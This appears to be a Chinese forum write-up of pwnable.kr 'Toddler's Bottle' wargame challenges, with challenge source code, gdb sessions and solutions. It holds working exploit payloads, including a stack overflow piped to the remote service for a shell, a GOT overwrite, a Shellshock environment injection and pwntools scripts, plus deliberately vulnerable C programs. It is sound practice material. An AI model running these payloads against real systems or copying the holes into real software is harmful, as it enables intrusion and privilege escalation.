首页
论坛
课程
招聘
[原创]pwnablr.kr (刷题)之 Toddler's Bottle
2018-3-23 20:37 2983

[原创]pwnablr.kr (刷题)之 Toddler's Bottle

2018-3-23 20:37
2983

前言

本来打算寒假的时候把这个题认真的刷一刷,结果...最近几天,把pwnable.kr上前2部分的题刷了刷,写了写解题的过程。

fd

Mommy! what is a file descriptor in Linux?

* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link: https://www.youtube.com/watch?v=blAxTfcW9VU

根据提示,本题的关键在于文件描述符
ssh连接后,查看源文件:

fd@ubuntu:~$ ls
fd  fd.c  flag
fd@ubuntu:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
    if(argc<2){
        printf("pass argv[1] a number\n");
        return 0;
    }
    int fd = atoi( argv[1] ) - 0x1234;
    int len = 0;
    len = read(fd, buf, 32);
    if(!strcmp("LETMEWIN\n", buf)){
        printf("good job :)\n");
        system("/bin/cat flag");
        exit(0);
    }
    printf("learn about Linux file IO\n");
    return 0;

}

根据维基百科上对于 file descriptor的定义:

整数值 名称 <unistd.h> 符号常量[1] <stdio.h> 文件流[2]
0 Standard input STDIN_FILENO stdin
1 Standard output STDOUT_FILENO stdout
2 Standard error STDERR_FILENO stderr
 

fd 的源码可知, 标准输入的内容为字符串LETMEWIN ,并且fd 的值为 0,所以第一个命令行参数应为0x1234 的 10进制 4660, 通过管道符|将 字符串输入程序,即可获得flag

 

echo 'LETMEWIN' | ./fd 4660

collision

连接成功后,可以看到源码:

col@ubuntu:~$ cat col.c
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
    int* ip = (int*)p;
    int i;
    int res=0;
    for(i=0; i<5; i++){
        res += ip[i];
    }
    return res;
}

int main(int argc, char* argv[]){
    if(argc<2){
        printf("usage : %s [passcode]\n", argv[0]);
        return 0;
    }
    if(strlen(argv[1]) != 20){
        printf("passcode length should be 20 bytes\n");
        return 0;
    }

    if(hashcode == check_password( argv[1] )){
        system("/bin/cat flag");
        return 0;
    }
    else
        printf("wrong passcode.\n");
    return 0;
}

发现这个题的要求就是第一个命令行参数长度为20个字节,且经过函数check_password处理后返回的值应该为 0x21DD09EC,
所以在这里的话,我们选择 [0x21DD09EC/5]= 0x6c5cec8 + 0x6c5cecc 来作为参数输入。

col@ubuntu:~$ ./col $(perl -e 'print "\xc8\xce\xc5\x06"x4 . "\xcc\xce\xc5\x06"')

bof

可以从网站上下载下来两个文件bofbof.c,可以看到是一道简单的缓冲区溢出题:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

gdb 简单的调试下,可以发现实际开辟的栈空间大小为0x48

[-------------------------------------code-------------------------------------]
   0x56555644 <func+24>:    call   0xf7e76800 <puts>
   0x56555649 <func+29>:    lea    eax,[ebp-0x2c]
   0x5655564c <func+32>:    mov    DWORD PTR [esp],eax
=> 0x5655564f <func+35>:    call   0xf7e75f80 <gets>
   0x56555654 <func+40>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x5655565b <func+47>:    jne    0x5655566b <func+63>
   0x5655565d <func+49>:    mov    DWORD PTR [esp],0x5655579b
   0x56555664 <func+56>:    call   0xf7e4ef30 <system>
Guessed arguments:
arg[0]: 0xffffd5dc (":WUV\364oUV\260VUV\001")
[------------------------------------stack-------------------------------------]
0000| 0xffffd5c0 --> 0xffffd5dc (":WUV\364oUV\260VUV\001")
0004| 0xffffd5c4 --> 0x0 
0008| 0xffffd5c8 --> 0xffffd5e8 --> 0x1 
0012| 0xffffd5cc --> 0x0 
0016| 0xffffd5d0 (".SUV")
0020| 0xffffd5d4 --> 0xf7ffd900 --> 0x56555000 --> 0x464c457f 
0024| 0xffffd5d8 --> 0xc2 
0028| 0xffffd5dc (":WUV\364oUV\260VUV\001")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x5655564f in func ()
gdb-peda$ 
aaaa

[----------------------------------registers-----------------------------------]
EAX: 0xffffd5dc ("aaaa")
EBX: 0xf7fcd000 --> 0x1bbd9c 
ECX: 0xfbad2288 
EDX: 0xf7fce8a4 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd608 --> 0xffffd628 --> 0x0 
ESP: 0xffffd5c0 --> 0xffffd5dc ("aaaa")
EIP: 0x56555654 (<func+40>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x56555649 <func+29>:    lea    eax,[ebp-0x2c]
   0x5655564c <func+32>:    mov    DWORD PTR [esp],eax
   0x5655564f <func+35>:    call   0xf7e75f80 <gets>
=> 0x56555654 <func+40>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x5655565b <func+47>:    jne    0x5655566b <func+63>
   0x5655565d <func+49>:    mov    DWORD PTR [esp],0x5655579b
   0x56555664 <func+56>:    call   0xf7e4ef30 <system>
   0x56555669 <func+61>:    jmp    0x56555677 <func+75>
[------------------------------------stack-------------------------------------]
0000| 0xffffd5c0 --> 0xffffd5dc ("aaaa")
0004| 0xffffd5c4 --> 0x0 
0008| 0xffffd5c8 --> 0xffffd5e8 --> 0x1 
0012| 0xffffd5cc --> 0x0 
0016| 0xffffd5d0 (".SUV")
0020| 0xffffd5d4 --> 0xf7ffd900 --> 0x56555000 --> 0x464c457f 
0024| 0xffffd5d8 --> 0xc2 
0028| 0xffffd5dc ("aaaa")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x56555654 in func ()
gdb-peda$ x /40xw $esp
0xffffd5c0:    0xffffd5dc    0x00000000    0xffffd5e8    0x00000000
0xffffd5d0:    0x5655532e    0xf7ffd900    0x000000c2    0x61616161
0xffffd5e0:    0x56556f00    0x565556b0    0x00000001    0x5655549d
0xffffd5f0:    0x00000000    0x00c30000    0x56556ff4    0x877e8d00
0xffffd600:    0x565556b0    0x56555530    0xffffd628    0x5655569f
0xffffd610:    0xdeadbeef    0x00008000    0x565556b9    0xf7fcd000
0xffffd620:    0x565556b0    0x00000000    0x00000000    0xf7e2aa43
0xffffd630:    0x00000001    0xffffd6c4    0xffffd6cc    0xf7fd96b0
0xffffd640:    0x00000001    0x00000001    0x00000000    0x56557018
0xffffd650:    0x565552c0    0xf7fcd000    0x00000000    0x00000000
gdb-peda$ print $0x610-0x5dc
Argument to arithmetic operation not a number or boolean.
gdb-peda$ print 0x610-0x5dc
$5 = 0x34

我们只需要传入"A*52" + "0xcafebabe" 即可获得shell:

 

但是需要注意的一点是,系统只是调用了system函数,没有发现输入的话就会终止掉,所以我们可以向它传递一个标准输入:

[root@flyingfish pwnable]# (perl -e 'print "A"x52 . "\xbe\xba\xfe\xca\n"';  ) | ./bof
overflow me : 
*** stack smashing detected ***: ./bof terminated
Segmentation fault
[root@flyingfish pwnable]# (perl -e 'print "A"x52 . "\xbe\xba\xfe\xca\n"';cat ) | nc pwnable.kr 9000

(ps: 以前,我曾经一度认为函数func传的参数就是0xcafebabe,还在想这个题要干啥)

flag

Papa brought me a packed present! let's open it.

Download : http://pwnable.kr/bin/flag

This is reversing task. all you need is binary

题目提示是一个加壳的文件,下载下来后看一下:

[root@flyingfish pwnable]# checksec flag
[*] '/home/pwnable/flag'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
    Packer:   Packed with UPX

然后我们用UPX工具脱壳

[root@flyingfish pwnable]# upx -d flag
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2013
UPX 3.91        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 30th 2013

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    887219 <-    335288   37.79%  linux/ElfAMD   flag

Unpacked 1 file.

给文件添加运行权限chmod u+x flag:

[root@flyingfish pwnable]# ./flag
I will malloc() and strcpy the flag there. take it.

gdb简单地 在main处下个断点,发现运行到0x401184 <main+32>: mov rdx,QWORD PTR [rip+0x2c0ee5] # 0x6c2070 <flag>这条指令时,将flag的内容传入了RDX寄存器:

[----------------------------------registers-----------------------------------]
RAX: 0x6c96b0 --> 0x0 
RBX: 0x401ae0 (<__libc_csu_fini>:    push   rbx)
RCX: 0x8 
RDX: 0x496628 ("UPX...? sounds like a delivery service :)")
RSI: 0x0 
RDI: 0x4 
RBP: 0x7fffffffe4e0 --> 0x0 
RSP: 0x7fffffffe4d0 --> 0x401a50 (<__libc_csu_init>:    push   r14)
RIP: 0x40118b (<main+39>:    mov    rax,QWORD PTR [rbp-0x8])
R8 : 0x1 
R9 : 0x3 
R10: 0x22 ('"')
R11: 0x0 
R12: 0x401a50 (<__libc_csu_init>:    push   r14)
R13: 0x0 
R14: 0x0 
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40117b <main+23>:    call   0x4099d0 <malloc>
   0x401180 <main+28>:    mov    QWORD PTR [rbp-0x8],rax
   0x401184 <main+32>:    mov    rdx,QWORD PTR [rip+0x2c0ee5]        # 0x6c2070 <flag>
=> 0x40118b <main+39>:    mov    rax,QWORD PTR [rbp-0x8]
   0x40118f <main+43>:    mov    rsi,rdx
   0x401192 <main+46>:    mov    rdi,rax
   0x401195 <main+49>:    call   0x400320
   0x40119a <main+54>:    mov    eax,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe4d0 --> 0x401a50 (<__libc_csu_init>:    push   r14)
0008| 0x7fffffffe4d8 --> 0x6c96b0 --> 0x0 
0016| 0x7fffffffe4e0 --> 0x0 
0024| 0x7fffffffe4e8 --> 0x401344 (<__libc_start_main+404>:    mov    edi,eax)
0032| 0x7fffffffe4f0 --> 0x0 
0040| 0x7fffffffe4f8 --> 0x100000000 
0048| 0x7fffffffe500 --> 0x7fffffffe5d8 --> 0x7fffffffe7f1 ("/home/pwnable/flag")
0056| 0x7fffffffe508 --> 0x401164 (<main>:    push   rbp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000000000040118b in main ()

passcode

passcode@ubuntu:~$ ls
flag  passcode    passcode.c
passcode@ubuntu:~$ cat passcode.c
#include <stdio.h>
#include <stdlib.h>

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;    
}

got表覆盖技术

 

原理:由于got表是可写的,把其中的函数地址覆盖为我们shellcode地址,在程序进行调用这个函数时就会执行shellcode。由于本题中函数scanf 的 第二个参数没有加&,传递的是值而不是地址。程序首先需要输入name,然后输入passcode1passcode2,相等的话会输出flag。

 

经过分析, namepasscode1间差了96个bytes,最后四个字节填充为got表中printf的地址(0x804a000),这样就能在读取passcode1的时候,将system('/bin/sh')的地址(0x80485e3)写入got表中,得以执行。

python -c "print 'A'*96+'\x00\xa0\x04\x08'+'134514147\n'" | ./passcode

random

#include <stdio.h>

int main(){
    unsigned int random;
    random = rand();    // random value!

    unsigned int key=0;
    scanf("%d", &key);

    if( (key ^ random) == 0xdeadbeef ){
        printf("Good!\n");
        system("/bin/cat flag");
        return 0;
    }

    printf("Wrong, maybe you should try 2^32 cases.\n");
    return 0;
}

这个题 比较简单,程序随机化时不指定seed 的话,生成的随机数都是一样的。本地测试下,随机数为1804289383,将其与0xdeadbeef 异或,就可以得到正确的key = 3039230856

#include<stdio.h>

int main() {

unsigned int random = rand();

printf("%d", 0xdeadbeef^random);

}

input

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
    printf("Welcome to pwnable.kr\n");
    printf("Let's see if you know how to give input to program\n");
    printf("Just give me correct inputs then you will get the flag :)\n");

    // argv 命令行
    if(argc != 100) return 0;
    if(strcmp(argv['A'],"\x00")) return 0;
    if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
    printf("Stage 1 clear!\n");    

    // stdio 标准输入
    char buf[4];
    read(0, buf, 4);
    if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
    read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
    printf("Stage 2 clear!\n");

    // env   环境变量
    if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
    printf("Stage 3 clear!\n");

    // file  文件
    FILE* fp = fopen("\x0a", "r");
    if(!fp) return 0;
    if( fread(buf, 4, 1, fp)!=1 ) return 0;
    if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
    fclose(fp);
    printf("Stage 4 clear!\n");    

    // network 网络
    int sd, cd;
    struct sockaddr_in saddr, caddr;
    sd = socket(AF_INET, SOCK_STREAM, 0);
    if(sd == -1){
        printf("socket error, tell admin\n");
        return 0;
    }
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = INADDR_ANY;
    saddr.sin_port = htons( atoi(argv['C']) );
    if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
        printf("bind error, use another port\n");
            return 1;
    }
    listen(sd, 1);
    int c = sizeof(struct sockaddr_in);
    cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
    if(cd < 0){
        printf("accept error, tell admin\n");
        return 0;
    }
    if( recv(cd, buf, 4, 0) != 4 ) return 0;
    if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
    printf("Stage 5 clear!\n");

    // here's your flag
    system("/bin/cat flag");    
    return 0;
}

这个题考察了5种输入方式:

  • 命令行
  • 标准输入
  • 环境变量
  • 文件
  • 网络通信

这题需要完成的就是实现这5步输入,然后就可以看到flag。

 

1.stage 1

#include<stdio.h>
#include<unistd.h>
int main(){
    char *argv[101] = {"input", [1 ... 99] = "A", NULL}; 
    argv['A'] = "\x00";     // the 65th argv
    argv['B'] = "\x20\x0a\x0d"; // the 66th argv
    execve("input",argv,NULL);  
    return 0;
}

编译运行一下,可以看到第一阶段已经完成:

[root@flyingfish pwnable]# gcc -m32 -o my_input my_input.c
[root@flyingfish pwnable]# ./my_input 
Welcome to pwnable.kr
Let's see if you know how to give input to program
Just give me correct inputs then you will get the flag :)
Stage 1 clear!

2.stage 2

 

第二步是标准输入read(0, buf, 4),这个在第一题已经见过,但是由于\x00\x0a\x00\xff无法通过命令行输入,stderr也是这样,所以需要重定向输入,即fork创建子进程,pipe进行管道传输可以参考这篇文章,理解管道传输,目前的代码为:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main() {
    char *argv[101] = {"/home/input/input", [1 ... 99] = "A", NULL};
    argv['A'] = "\x00";
    argv['B'] = "\x20\x0a\x0d";
    int pipe2stdin[2] = {-1,-1};
    int pipe2stderr[2] = {-1,-1};
    pid_t childpid;

    if ( pipe(pipe2stdin) < 0 || pipe(pipe2stderr) < 0){
        perror("Cannot create the pipe");
        exit(1);
    }

    if ( ( childpid = fork() ) < 0 ){
        perror("Cannot fork");
        exit(1);
    }

    if ( childpid == 0 ){
        /* Parent process */
        close(pipe2stdin[0]); close(pipe2stderr[0]); // Close pipes for reading
        write(pipe2stdin[1],"\x00\x0a\x00\xff",4);
        write(pipe2stderr[1],"\x00\x0a\x02\xff",4);
    }
    else {
        /* Child process */
        close(pipe2stdin[1]); close(pipe2stderr[1]);   // Close pipes for writing
        dup2(pipe2stdin[0],0); dup2(pipe2stderr[0],2); // Map to stdin and stderr
        close(pipe2stdin[0]); close(pipe2stderr[1]);   // Close write end (the fd has been copied before)
        execve("/home/input/input",argv,NULL);  // Execute the program
    }
    return 0;
}

这一步用到了fork()函数,作用是从父进程中打开一个子进程,这个函数会有2个返回值,一次是父进程,一次是子进程,而且 fork() 函数在子进程中返回 0,而在父进程中返回子进程的 PID,所以可以通过判断 fork() 函数返回值来分别对父/子进程进行操作。

 

3.stage 3

 

第三步是环境变量,char *envp[2] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe", NULL};

 

4.stage 4

 

第四步是文件读写,需要在文件\x0a中读取字符,判断是否为”\x00\x00\x00\x00″,所以把源码中的读操作改为写操作即可:

FILE* fp = fopen("\x0a", "w");
if(!fp){printf("cannot open\n");return 0;}
char *buff = "\x00\x00\x00\x00";
fwrite(buff, 4, 1, fp);
fclose(fp);

5.stage 5

 

第五步是socket 编程,和上一步类似,只需要把接收改为发送即可,但需要注意的是端口号port是通过argv['C']控制的,代码如下:

sleep(5);
 int sd;
 struct sockaddr_in saddr;
 sd = socket(AF_INET, SOCK_STREAM, 0);
 if(sd == -1)
 {
 printf("socket error, tell admin\n");
 return 0;
 }
 saddr.sin_family = AF_INET;
 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
 saddr.sin_port = htons(55555);
 if(connect(sd, (struct sockaddr*) &amp;saddr, sizeof(saddr)))
 {
 perror("Problem connecting\n");
 exit(1);
 }
 printf("Connected\n");
 write(sd,"\xde\xad\xbe\xef",4);
 close(sd);

下面是完整的exp.c:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(){

    // Stage 1
    char *argv[101] = {"./input",[1 ... 99] = "A",NULL};
    argv['A'] = "\x00";
    argv['B'] = "\x20\x0a\x0d";
    // execve("./input",argv,NULL);

    // Stage 2
    int pipe2stdin[2] = {-1, -1};
    int pipe2stderr[2] = {-1,-1};
    pid_t child_pid;
    // Stage 3
    char* env[2] = {"\xde\xad\xbe\xef = \xca\xfe\xba\xbe",NULL};

    // Stage 4 
    FILE* fp = fopen("\x0a", "w");
    fwrite("\x00\x00\x00\x00",4,1,fp);
    fclose(fp);

    if(pipe(pipe2stdin) < 0 || pipe(pipe2stderr) < 0 ){
    perror("can't create the pipe");
    exit(1);
    }
    if((child_pid = fork()) < 0){
    perror("cant fork");
    exit(1);
    }
    if(child_pid == 0){
    // Parent process
    close(pipe2stdin[0]); close(pipe2stderr[0]); //close pipes for writing
        write(pipe2stdin[1], "\x00\x0a\x00\xff",4);
        write(pipe2stderr[1],"\x00\x0a\x02\xff",4);
    }
    else{
    // Child process
    close(pipe2stdin[1]); close(pipe2stderr[0]); // close pipes for writing
        dup2(pipe2stdin[0],0); dup2(pipe2stderr[0],2); // map to stdin and stderr
        close(pipe2stdin[0]); close(pipe2stderr[1]); 
    execve("./input",argv,env);    
    }

    // Stage 5
    sleep(5);
    int sockfd;
    struct sockaddr_in server;
    sockfd = socket(AF_INET, SOCK_STREAM,0);
    if(sockfd < 0){
    perror("Can't create the socket");
    }
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = inet_addr("127.0.0.1");
    server.sin_port = htons(55555);

    if( connect(sockfd, (struct sockaddr*) & server, sizeof(server)) < 0){
    perror("Problem connecting!!");
    exit(1);
    }

    char buf[4] = "\xde\xad\xbe\xef";
    write(sockfd, buf, 4);
    close(sockfd);
    return 0;
}

(ps:在网上也发现了python版本的实现,比较简洁,如http://www.akashtrehan.com/writeups/pwnablekr_todders_bottle/,但是我在测试的时候,发现第5步老是出问题...)

leg

我们可以从网站上下载下来leg.cleg.asm 2个文件,简单地看下leg.c的源码,可以知道这题的关键是找到key1()key2()key3() 三个函数的 返回值:

    if( (key1()+key2()+key3()) == key ){

所以直接看3个函数的汇编代码:

 

key1()

(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>:        push    {r11}        ; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>:        add    r11, sp, #0
   0x00008cdc <+8>:        mov    r3, pc
   0x00008ce0 <+12>:    mov    r0, r3
   0x00008ce4 <+16>:    sub    sp, r11, #0
   0x00008ce8 <+20>:    pop    {r11}        ; (ldr r11, [sp], #4)
   0x00008cec <+24>:    bx    lr
End of assembler dump.

以前做的都是x86汇编,没有做过arm相关的,所以简单地查了一下相关的信息:

 

PC代表程序计数器,流水线使用三个阶段,因此指令分为三个阶段执行:
1.取指(从存储器装载一条指令);
2.译码(识别将要被执行的指令);
3.执行(处理指令并将结果写回寄存器)。

 

而R15(PC)总是指向“正在取指”的指令,而不是指向“正在执行”的指令或正在“译码”的指令。一般来说,人们习惯性约定将“正在执行的指令作为参考点”,称之为当前第一条指令,因此PC总是指向第三
条指令。当ARM状态时,每条指令为4字节长,所以PC始终指向该指令地址加8字节的地址,即:PC值=当前程序执行位置+8;

 

ARM指令是三级流水线,取指,译指,执行时同时执行的,现在PC指向的是正在取指的地址,那么cpu正在译指的指令地址是PC-4(假设在ARM状态下,一个指令占4个字节),cpu正在执行的指令地
址是PC-8,也就是说PC所指向的地址和现在所执行的指令地址相差8。

 

key()1 中,返回地址为r0, r0 = pc,所以r0 的地址为0x8cdc + 0x8

 

key2():

(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:    push    {r11}        ; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:    add    r11, sp, #0
   0x00008cf8 <+8>:    push    {r6}        ; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:    add    r6, pc, #1
   0x00008d00 <+16>:    bx    r6
   0x00008d04 <+20>:    mov    r3, pc
   0x00008d06 <+22>:    adds    r3, #4
   0x00008d08 <+24>:    push    {r3}
   0x00008d0a <+26>:    pop    {pc}
   0x00008d0c <+28>:    pop    {r6}        ; (ldr r6, [sp], #4)
   0x00008d10 <+32>:    mov    r0, r3
   0x00008d14 <+36>:    sub    sp, r11, #0
   0x00008d18 <+40>:    pop    {r11}        ; (ldr r11, [sp], #4)
   0x00008d1c <+44>:    bx    lr
End of assembler dump.

返回地址为r3,bx r6跳转为thumb指令,r0为0x8d04 + 0x4 + 0x4,即0x8d0c

 

key3():

(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>:    push    {r11}        ; (str r11, [sp, #-4]!)
   0x00008d24 <+4>:    add    r11, sp, #0
   0x00008d28 <+8>:    mov    r3, lr
   0x00008d2c <+12>:    mov    r0, r3
   0x00008d30 <+16>:    sub    sp, r11, #0
   0x00008d34 <+20>:    pop    {r11}        ; (ldr r11, [sp], #4)
   0x00008d38 <+24>:    bx    lr
End of assembler dump.

r0的值 为 lr 的 值,lx寄存器 在函数调用时,将下一条指令地址传给lx寄存器,等待函数返回时调用,所以r0 = 0x8d80

 

三个返回值加起来 = 0x1a770,也就是108400

mistake

看下题目源码,又看到了熟悉的read(fd,pw_buf,PW_LEN)

mistake@ubuntu:~$ cat mistake.c
#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
    int i;
    for(i=0; i<len; i++){
        s[i] ^= XORKEY;
    }
}

int main(int argc, char* argv[]){

    int fd;
    if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
        printf("can't open password %d\n", fd);
        return 0;
    }

    printf("do not bruteforce...\n");
    sleep(time(0)%20);

    char pw_buf[PW_LEN+1];
    int len;
    if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
        printf("read error\n");
        close(fd);
        return 0;        
    }

    char pw_buf2[PW_LEN+1];
    printf("input password : ");
    scanf("%10s", pw_buf2);

    // xor your input
    xor(pw_buf2, 10);

    if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
        printf("Password OK\n");
        system("/bin/cat flag\n");
    }
    else{
        printf("Wrong Password\n");
    }

    close(fd);
    return 0;
}

由于操作符的优先级问题,=为14,而 <为6
在下面这条语句中
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){fd 的值为0,

 

所以当执行到if(!(len=read(fd,pw_buf,PW_LEN) > 0))时,实际上是从标准输入流读入了10个字节的内容:

 

`if(!(len=read(0,pw_buf,PW_LEN) > 0))``
这样,我们只需要先输入10个字符,再输入10个字符异或后,与前者相同。
我们可以考虑一种简单的情况,比如先输入10个0,再输入10个1。

shellcock

根据百度百科介绍,Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞。我们可以用export x="() { :;}; /bin/cat flag",添加以(){开头的环境变量,后面执行./shellshock的时候,会以root权限执行之前的命令。

shellshock@ubuntu:~$ cat shellshock.c
#include <stdio.h>
int main(){
    setresuid(getegid(), getegid(), getegid());
    setresgid(getegid(), getegid(), getegid());
    system("/home/shellshock/bash -c 'echo shock_me'");
    return 0;
}

coin1

nc pwnable.kr 9007 后,看到这个题是一个二分法的题目,找到假硬币,但是要在30s 内解100 次 才会print flag,直接放上python脚本:

#! /usr/bin/python

from pwn import *  
import re  

def getNC():  
    r = target.readline() #number and changes  
    NC = re.findall("[0-9]+",r)  
    return int(NC[0]), int(NC[1])  

def guess(start, end):  
    coin = ""  
    for i in xrange(start, end+1):  
        coin += str(i) + " "  
    # print "coin " + coin  
    target.sendline(coin)  
    weight = target.read()  
    # print "weight " + str(weight)  
    return weight  

def binsearch():  
    for i in range(100):  
        N, C = getNC()  
        cnt = 0  
        # print "N= " + str(N) + " C=" + str(C)  
        left = 0  
        right = N - 1  
        while (left <= right):  
            mid = (left + right)/2  
            # print "guess " + str(Left) + "-" + str(Mid)  
            cnt += 1  
            if cnt > C:  
                # print "Hit!"  
                weight = guess(left,mid)  
                break  
            else:  
                weight = guess(left,mid)  
                # print "trial= " + str(cnt)  
                # print "and C= " + str(C)  
                if (eval(weight) + 1) % 10:  # fake coin not here  
                    left = mid + 1  
                else:  
                    right = mid  

##target = remote("pwnable.kr",9007)  
target = remote("0",9007)  

target.read() #rule of game  
binsearch()  
print target.read()

另外,远程连接的话可能会超时,所以可以放到服务器的/tmp 文件夹下运行一下,即可。

blackjack

这个题的第一印象就是源码太长了,让人很难看下去。。

 

百度了一下,才知道其实这个是一种扑克牌游戏。black jack是扑克牌游戏中的一种游戏规则,中文名为21点或者黑杰克。

 

检查了下代码中的输入,发现了betting函数中存在漏洞:

int betting() //Asks user amount to bet
{
 printf("\n\nEnter Bet: $");
 scanf("%d", &bet);

 if (bet > cash) //If player tries to bet more money than player has
 {
        printf("\nYou cannot bet more money than you have.");
        printf("\nEnter Bet: ");
        scanf("%d", &bet);
        return bet;
 }
 else return bet;
} // End Function

用户输入bet后,会判断是否大于500,却没有判断是否小于0。所以,我们输入-1000000,再输掉的话,实际上就会赢得1000000,这样就可以获得flag了。

lotto

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){

    int i;
    printf("Submit your 6 lotto bytes : ");
    fflush(stdout);

    int r;
    r = read(0, submit, 6);

    printf("Lotto Start!\n");
    //sleep(1);

    // generate lotto numbers
    int fd = open("/dev/urandom", O_RDONLY);
    if(fd==-1){
        printf("error. tell admin\n");
        exit(-1);
    }
    unsigned char lotto[6];
    if(read(fd, lotto, 6) != 6){
        printf("error2. tell admin\n");
        exit(-1);
    }
    for(i=0; i<6; i++){
        lotto[i] = (lotto[i] % 45) + 1;        // 1 ~ 45
    }
    close(fd);

    // calculate lotto score
    int match = 0, j = 0;
    for(i=0; i<6; i++){
        for(j=0; j<6; j++){
            if(lotto[i] == submit[j]){
                match++;
            }
        }
    }

    // win!
    if(match == 6){
        system("/bin/cat flag");
    }
    else{
        printf("bad luck...\n");
    }

}

void help(){
    printf("- nLotto Rule -\n");
    printf("nlotto is consisted with 6 random natural numbers less than 46\n");
    printf("your goal is to match lotto numbers as many as you can\n");
    printf("if you win lottery for *1st place*, you will get reward\n");
    printf("for more details, follow the link below\n");
    printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
    printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

    // menu
    unsigned int menu;

    while(1){

        printf("- Select Menu -\n");
        printf("1. Play Lotto\n");
        printf("2. Help\n");
        printf("3. Exit\n");

        scanf("%d", &menu);

        switch(menu){
            case 1:
                play();
                break;
            case 2:
                help();
                break;
            case 3:
                printf("bye\n");
                return 0;
            default:
                printf("invalid menu\n");
                break;
        }
    }
    return 0;
}

这个题意思也比较明显,就是说只要我们输入的字符中有一个和随机生成的lotto数组中的字符相等的话,就会获得flag。所以,我们只需要输入6个一样的字符,直到获得flag为止:

#!/usr/bin/python

from pwn import *
sh = ssh(host = 'pwnable.kr', user='lotto', password = 'guest', port=2222)
proc = sh.process('/home/lotto/lotto')
proc.recv(1024)
while True:
    proc.sendline('1')
    proc.recv(1024)
    proc.sendline('######')
    a = proc.recv(1024)
    if 'sorry' in a:
        for i in a.split('\n'):
            if 'sorry' in i:
                print i
        break

cmd1

cmd1@ubuntu:~$ cat cmd1.c
#include <stdio.h>
#include <string.h>

int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "flag")!=0;
    r += strstr(cmd, "sh")!=0;
    r += strstr(cmd, "tmp")!=0;
    return r;
}
int main(int argc, char* argv[], char** envp){
    putenv("PATH=/fuckyouverymuch");
    if(filter(argv[1])) return 0;
    system( argv[1] );
    return 0;
}

